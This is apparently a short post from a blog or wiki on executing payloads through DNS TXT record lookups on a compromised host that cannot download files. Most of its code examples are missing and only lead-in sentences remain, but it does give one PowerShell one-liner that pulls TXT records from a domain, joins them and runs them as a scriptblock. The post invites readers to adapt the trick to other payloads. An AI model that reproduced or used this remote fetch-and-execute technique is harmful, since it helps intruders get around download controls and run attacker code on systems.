Dns Payloads¶
what is¶
Execute Dns Payloads: [ How it Works ]
This trick is usefull when you have access to your target but you have no habilitys to download anything.
Do you have thinking how the dns lookup works?
Yes there is always a way.
In this post i will show you how to download and execute payloads through dns lookup.
Attention
You shouldn't do this in a environment that you are not allowed to do.
Download payloads trough dns¶
first you need to create a new dns entry on your host like
now you just need to use powershell to execute this payload
did you see it? how amazing it is?
now take a look at this example to extract tree lines from the dns domain records
lets say you have created 3 txt records like this:
and using this payload:the result would be
Attention
if you are using powershell on any other environment than "badwindows" you need to adjust your payload like this:
powershell 1..3|%{$p+=Resolve-DnsName \"$_.example.com.\" -Ty TXT |% S*s};& {[scriptblock]::Create($p))
spot the powershell and back slash's: you need to scape the quotes and at begin add "powershell" now lets take a look on this dns record.
Of course you can use your imagination for any other payloads.